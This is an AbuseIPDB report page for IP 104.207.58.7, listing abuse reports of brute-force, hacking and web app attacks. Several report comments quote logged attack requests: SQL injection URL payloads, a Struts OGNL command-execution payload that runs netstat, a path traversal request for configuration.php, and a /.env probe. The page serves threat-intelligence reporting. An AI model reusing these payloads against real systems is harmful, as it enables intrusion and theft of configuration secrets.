JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 104.207.58.7

104.207.58.7 was found in our database!

This IP was reported 79 times. Confidence of Abuse is 8%: ?

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇩🇪 Germany
City	Berlin, State of Berlin

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 104.207.58.7

Whois 104.207.58.7

IP Abuse Reports for 104.207.58.7:

This IP address has been reported a total of 79 times from 14 distinct sources. 104.207.58.7 was first reported on June 22nd 2024, and the most recent report was 3 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 3 weeks ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 pm33	2026-05-23 04:38:43 (3 weeks ago)	Wordpress login attempts	Brute-Force
🇫🇷 masterguru	2026-05-02 15:58:33 (1 month ago)	(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 36 ... show more (modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 3600 secs (0-193) show less	Hacking
🇫🇷 masterguru	2026-04-28 14:28:01 (1 month ago)	(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 36 ... show more (modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 3600 secs (0-193) show less	Hacking
🇫🇷 masterguru	2026-04-25 15:11:35 (1 month ago)	(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 36 ... show more (modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 3600 secs (0-197) show less	Hacking
🇫🇷 masterguru	2026-04-25 10:17:51 (1 month ago)	(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 36 ... show more (modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 3600 secs (0-196) show less	Hacking
🇫🇷 masterguru	2026-04-20 17:03:38 (1 month ago)	(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 36 ... show more (modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 3600 secs (0-193) show less	Hacking
🇫🇷 masterguru	2026-04-19 11:58:48 (1 month ago)	(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 36 ... show more (modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.58.7 (TH/Thailand/-): 1 in the last 3600 secs (0-196) show less	Hacking
🇨🇳 ThreatBook.io	2026-04-04 00:08:58 (2 months ago)	ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.58.7 ... show more ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.58.7 2026-04-03 05:58:24 /photo/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-02-08 23:08:28 (4 months ago)	ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.58.7 ... show more ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.58.7 2026-02-08 21:27:20 /?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29,%23f.setAccessible%28true%29,%23f.set%28%23_memberAccess,true%29,%[email protected]@getRequest%28%29,%[email protected]@getResponse%28%29.getWriter%28%29,%23a=%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27netstat%27}%29%29.start%28%29,%23b=%23a.getInputStream%28%29,%23c=new%20java.io.InputStreamReader%28%23b%29,%23d=new%20java.io.BufferedReader%28%23c%29,%23e=new%20char[4000],%23d.read%28%23e%29,%23resp.println%28%23e%29,%23resp.close%28%29 2026-02-08 21:27:18 / show less	Web App Attack
🇨🇳 ThreatBook.io	2026-02-04 23:47:12 (4 months ago)	ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.58.7 ... show more ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.58.7 2026-02-04 02:55:17 /shop/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇪🇸 10dencehispahard SL	2026-01-26 07:47:00 (4 months ago)	Wordpress probing for vulnerabilities	Hacking Exploited Host
🇨🇳 ThreatBook.io	2026-01-14 00:15:04 (5 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.58.7 202 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.58.7 2026-01-13 08:10:35 /components/com_contushdvideoshare/hdflvplayer/download.php?f=../../../configuration.php show less	Web App Attack
🇨🇳 ThreatBook.io	2026-01-10 00:55:06 (5 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.58.7 202 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.58.7 2026-01-09 08:06:30 /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select%201%20from%20(select%20count(),concat((select%20(select%20concat(0x776F6F79756E))%20from%20%23__users%20limit%200,1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇺🇸 TPI-Abuse	2025-11-27 19:43:09 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.58.7 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 104.207.58.7 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Nov 27 14:43:00.980501 2025] [security2:error] [pid 32013:tid 32013] [client 104.207.58.7:34739] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "belgiophar.info"] [uri "/.env"] [unique_id "aSipxPcv3UZ-mSfb_zUH5wAAAAs"] show less	Brute-Force Bad Web Bot Web App Attack
🇫🇷 IRISIO	2025-10-20 08:24:06 (7 months ago)	scans/SQL injection/spam posts : 2 queries	SQL Injection Web App Attack

Showing 1 to 15 of 79 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇼 198.235.24.12

🇬🇧 195.96.139.226

🇩🇪 194.88.98.90

🇺🇸 192.3.196.157

🇳🇱 185.223.235.10

🇺🇸 172.234.25.243

🇩🇪 167.94.146.46

🇰🇷 138.2.127.32

🇹🇷 104.247.164.63

🇰🇷 59.6.154.8

🇸🇬 43.134.167.218

🇺🇸 34.169.240.146

🇺🇸 216.108.231.34

🇺🇸 173.194.101.216

🇨🇳 171.36.6.7

🇺🇸 170.231.251.87

🇺🇸 104.154.69.223

🇺🇸 79.127.217.37

🇧🇬 79.124.62.126

🇩🇪 69.5.169.236